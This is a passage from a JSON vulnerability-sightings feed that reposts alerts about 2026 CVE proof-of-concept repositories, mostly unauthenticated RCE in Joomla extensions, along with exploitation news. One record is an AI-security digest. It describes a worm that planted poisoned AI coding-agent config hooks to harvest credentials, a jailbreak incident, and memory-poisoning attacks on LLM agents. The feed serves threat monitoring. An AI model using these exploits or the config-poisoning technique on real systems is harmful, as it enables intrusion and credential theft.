"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/90079", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48908-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a papageo75\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-22 09:40:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUnauthenticated RCE PoC for CVE-2026-48908 \u2014 SP Page Builder for Joomla (\u2264 6.6.1): arbitrary file upload via asset.uploadCustomIcon. Self-cleaning, token-guarded. Authorized testing only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:19.058282Z"}, {"uuid": "f50eceb1-ea6f-4c41-baa9-059407639e7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/90816", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48907\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a grayxploit\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-27 09:56:58\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-48907 is a CVSS 10.0 pre-auth RCE in Joomla Content Editor affecting all versions \u2264 2.9.99.4. The Grayxploit team breaks down the 3-weakness chain \u2014 missing auth, no extension validation, and an unsafe upload flag \u2014 that lets attackers pop a shell in 3 HTTP requests.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:22.446283Z"}, {"uuid": "f19fb8b0-8eb9-4f59-82e6-f2e35ae2c44c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/90408", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48908\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ogenich\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-24 12:31:23\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUnauthenticated RCE PoC for CVE-2026-48908  SP Page Builder (Joomla) arbitrary file upload and remote code execution exploit with mass scaning support.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:20.053990Z"}, {"uuid": "e41543e3-93b5-44f4-ba90-6173368205fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/91202", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48907\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a K3ysTr0K3R\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-29 21:36:25\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-48907 \u2013 Joomla JCE Unauthenticated Remote Code Execution (RCE)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:24.281347Z"}, {"uuid": "8b9bcc23-e61f-4b4b-9311-92128963fe02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "exploited", "source": "https://t.me/TengkorakCyberCrewzz/11504", "content": "Attackers Exploit SimpleHelp CVE-2026-48558 to Deploy TaskWeaver and Djinn Stealer \u2013 thehackernews.com\n\nTue, 30 Jun 2026 19:18:47", "creation_timestamp": "2026-07-15T00:00:25.291239Z"}, {"uuid": "aac93aad-075c-4cdb-9a88-298600248f1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "exploited", "source": "https://t.me/ctinow/252895", "content": "Adobe ColdFusion flaw CVE-2026-48282 now exploited in the wild\nhttps://ift.tt/W34ojsO", "creation_timestamp": "2026-07-15T00:00:23.346376Z"}, {"uuid": "661ee4ba-d15e-474e-90ab-a45522fe73a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "exploited", "source": "https://t.me/bhhub/1197", "content": "Weekly 7 AI & Cyber signals to act on (Jun 6\u201315, 2026)\n\n#AISecurity@bhhub \n\n\u2728Anthropic Disables Fable 5 and Mythos 5 After US Export-Control Directive Over Jailbreak Concerns\nURL\nUS government ordered Anthropic to cut off all foreign-national access to its most capable models, Claude Fable 5 and Mythos 5, citing a jailbreak that could unlock dangerous cybersecurity capabilities \u2014 Anthropic complied within hours but publicly disputed the scope of the threat, noting the same jailbreak could elicit similar capabilities from competitor models not subject to the order.\n\n\u2728 OWASP \"State of Agentic AI Security and Governance v2.01\" \u2014 Real CVEs Replace Theoretical Threats, Coding Agents Are the Top Risk Driver\nURL\nOWASP's GenAI Security Project released v2.01 of its agentic AI security and governance report, shifting from last year's catalogue of plausible threats to one built on actual CVEs, vendor advisories, and breach reports \u2014 finding that 28 of 53 tracked agentic projects are coding agents, that prompt injection remains the dominant production failure mode, and that \"lethal trifecta\" risk combinations (private data + untrusted content + external communication) are amplified by multi-agent cascading failures.\n\n#AppSec@bhhub \n\n\u2728 Miasma Worm Hits 73 Microsoft GitHub Repos via AI Coding Agent Config Poisoning \u2014 Attack Framework Later Leaked Publicly\nURL\nA self-replicating supply-chain worm pushed malicious AI-coding-agent configuration files \u2014 a poisoned .claude/settings.json SessionStart hook plus equivalents for Cursor, Gemini CLI, and VS Code \u2014 into 73 Microsoft Azure, Azure-Samples, Microsoft, and MicrosoftDocs repositories via a compromised contributor account; opening any of the affected repos in an AI coding tool silently triggered a credential-harvesting payload. GitHub disabled all 73 repos in two automated waves within 105 seconds, but the attack framework itself was leaked publicly five days later via a \"Miasma-Open-Source-Release\" repo.\n\n\u2728 CVE-2026-42271 + CVE-2026-48710 Chain to Unauthenticated RCE in LiteLLM AI Gateway \u2014 Added to CISA KEV\nURL\nHorizon3.ai chained a LiteLLM command-injection flaw (CVE-2026-42271, CVSS 8.7, affecting the open-source AI gateway and Python SDK from BerriAI) with a Starlette \"BadHost\" header-validation bypass (CVE-2026-48710) to achieve full unauthenticated remote code execution against LiteLLM deployments; CISA confirmed active exploitation and added both CVEs to its Known Exploited Vulnerabilities catalog on June 8.\n\n#RedTeam@bhhub \n\n\u2728 MPBench: First Systematic Benchmark of Memory-Poisoning Attacks Against LLM Agents\nURL\nA new benchmark systematically evaluates memory-poisoning attacks against LLM agents that maintain persistent or long-term memory, showing that injected false memories survive across sessions and propagate into downstream task execution at high success rates, while existing memory-sanitization defenses provide only partial mitigation.\n\n\u2728 Hack The Box \"Attack of the Agents\" CTF: Autonomous AI Agent Solves 4/10 Challenges Unprompted Ahead of MCP Server GA\nURL\nHTB's internal CTF event field-testing its new Model Context Protocol (MCP) server integration saw an AI-driven agent independently join the competition and autonomously solve 4 of 10 challenges with no human direction, while a human participant with no prior cybersecurity background scored a perfect 10/10 in 38 minutes \u2014 versus the platform's historical average solve time of 4.3 hours.\n\n#Blue@bhhub \n\n\u2728 BlueVoyant Launches \"BlueVoyant AI\" Agentic SecOps Platform with Autonomous Containment Actions\nURL\nBlueVoyant launched an agentic Security Operations platform that applies ensemble models to cut alert noise and authorizes AI agents to autonomously isolate devices, revoke access tokens, and remove malicious email \u2014 with every agent action logged for audit and rollback \u2014 offered as a fully managed SOC or self-service SaaS, with deep integration across its 2,500+ existing Microsoft-centric customer deployments.", "creation_timestamp": "2026-07-15T00:00:24.855659Z"}, {"uuid": "606e0fbb-af43-43a6-9941-8c814d66bef7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/91453", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48907\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a NoXiVaR\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-01 14:22:32\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-48907 PoC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:25.828195Z"}, {"uuid": "5411a266-f772-46c7-bc26-9c2cf02d7258", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/91134", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a By-Poloss..-..CVE-2026-48939\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Polosss\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-29 11:11:43\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\niCagenda Unauthenticated File Upload to RCE\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:24.063656Z"}, {"uuid": "7661b18e-e171-4af1-b2db-2e92970ed6b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/91311", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48907\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a pssec-io\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a PHP\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-30 15:50:20\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPOC for CVE-2026-48907\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:25.327070Z"}, {"uuid": "083712bd-9eb7-4e96-b6a2-30727b9ebc1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/91627", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48558\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a J4ck3LSyN-Gen2\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-02 16:47:53\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nSimpleHelp OIDC Authentication Bypass PoC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:27.909349Z"}, {"uuid": "a71624d5-292e-4e48-ac8c-bab80b10c784", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/91821", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Nuclei\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48907\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a bayu06802\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-04 02:44:53\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPython & template nuclei\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:29.057676Z"}, {"uuid": "9a7610de-e295-4bc4-a2d6-9022e8d6955c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/92184", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48282-POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a imbas007\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-06 12:57:47\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:30.723915Z"}, {"uuid": "6699969e-a9d9-4428-a882-2add18cc8363", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/92274", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48908\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Jenderal92\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-07 01:38:50\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-48908 \u2014 PoC exploit for unauthenticated RCE in SP Page Builder (Joomla) via arbitrary file upload. Multi\u2011threaded, case\u2011bypass, shell verification. For authorized security testing only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:30.812823Z"}, {"uuid": "1aef5f34-c7e3-4018-8e81-9812c0200f77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48853", "type": "published-proof-of-concept", "source": "https://t.me/bdufstecru/3248", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u0434\u0435\u043a\u0430 Erlpack \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u0437\u043e\u0432\u0430 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440 gRPC \u0434\u043b\u044f \u044f\u0437\u044b\u043a\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f Elixir grpc \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u043c\u0438 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u043b\u0438 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438\n\nBDU:2026-08314\nCVE-2026-48853\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://github.com/elixir-grpc/grpc/security/advisories/GHSA-grp7-v8xh-rj7h", "creation_timestamp": "2026-07-15T00:00:34.140141Z"}, {"uuid": "cb50d687-1c3d-4d24-a2d3-bdc5854d2a73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48772", "type": "published-proof-of-concept", "source": "https://t.me/bdufstecru/3258", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 PROXY \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0434\u043b\u044f \u0431\u0430\u0437 \u0434\u0430\u043d\u043d\u044b\u0445 ProxySQL \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u043e\u0433\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u043e\u0431\u043e\u0439\u0442\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445\n\nBDU:2026-08519\nCVE-2026-48772\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://github.com/sysown/proxysql/releases/tag/v3.0.9\nhttps://github.com/sysown/proxysql/security/advisories/GHSA-gw94-85m2-x8v2", "creation_timestamp": "2026-07-15T00:00:34.428959Z"}, {"uuid": "1ffc1c0a-32bb-43a6-ab53-33090fd3155f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "exploited", "source": "https://t.me/BleepingComputer/25038", "content": "\u200aMax severity Adobe ColdFusion flaw now exploited in attacks\n\nAttackers are now exploiting a maximum-severity Adobe ColdFusion vulnerability tracked as CVE-2026-48282, the Canadian Center for Cyber Security (CCCS) warned on Thursday. [...]\n\nhttps://www.bleepingcomputer.com/news/security/max-severity-adobe-coldfusion-flaw-now-exploited-in-attacks/", "creation_timestamp": "2026-07-15T00:00:37.063664Z"}, {"uuid": "562f5253-2af8-45b5-9e1c-2c2357bce1e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "exploited", "source": "https://t.me/BleepingComputer/24994", "content": "\u200aCritical SimpleHelp flaw exploited to deploy new stealer malware\n\nHackers are exploiting a recently disclosed critical vulnerability (CVE-2026-48558) in SimpleHelp to deploy Djinn Stealer, a previously undocumented cross-platform information stealer targeting Windows, macOS, and Linux. [...]\n\nhttps://www.bleepingcomputer.com/news/security/hackers-exploit-critical-simplehelp-flaw-deploy-new-djinn-infostealer-taskweaver-malware/", "creation_timestamp": "2026-07-15T00:00:37.100838Z"}, {"uuid": "22e858fe-ec29-4a79-a161-9aaed477ad52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48808", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqnit2btng2x", "content": "CVE-2026-48808 - Twig: Sandbox property allowlist bypass via the `column` filter under `SourcePolicyInterface`\nCVE ID : CVE-2026-48808\n \n Published : July 14, 2026, 10:17 p.m. | 1\u00a0hour, 14\u00a0minutes ago\n \n Description : Twig is a template language for PHP. Prior to 3.27.0, the c...", "creation_timestamp": "2026-07-15T00:49:27.640076Z"}, {"uuid": "f02aed95-ba61-437b-86b4-44014180732c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48749", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mtmghfdzpm24", "content": "CVE-2026-48749 - incus\nIncus may accept a specially crafted container image that includes a symbolic link pointing to the host's file system. This lets an attacker read sensitive files like password\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#incus #debian #Debian13 #CVE #infosec", "creation_timestamp": "2026-08-21T18:50:04.580172Z"}, {"uuid": "2c63e6ae-909f-4e42-b15f-8eddfc08302d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48750", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mtmghg5mzy2c", "content": "CVE-2026-48750 - incus\nIncus lets a container specify where command output is saved. If a container tricks Incus into using a symbolic link, it can place files anywhere on the host, such as the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#incus #debian #Debian13 #CVE #infosec", "creation_timestamp": "2026-08-21T18:50:05.173659Z"}, {"uuid": "02778edb-12f1-422d-8c32-10342ab83368", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://t.me/CyberDispatch/2003", "content": "A Joomla flaw is now on CISA\u2019s exploited bug list.\n\nCVE-2026-48907 has a max CVSS score of 10.0 and can let attackers upload and run PHP code through JCE editor profiles.\n\nAffected versions: 1.0.0 through 2.9.99.4\nFixed in: 2.9.99.5", "creation_timestamp": "2026-08-29T20:00:09.629031Z"}, {"uuid": "34998007-01f7-4d0f-951a-499002eb246f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48751", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mtmgzbexvz2y", "content": "CVE-2026-48751 - incus\nIncus snapshots ignore a setting that should block low-level container hooks, so a user can craft a snapshot that runs their own code on the host server. When the snapshot is\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#incus #debian #Debian13 #CVE #infosec", "creation_timestamp": "2026-08-21T19:00:04.424052Z"}, {"uuid": "f218039d-a6a8-4b6e-a32d-14881513aded", "vulnerability_lookup_origin": 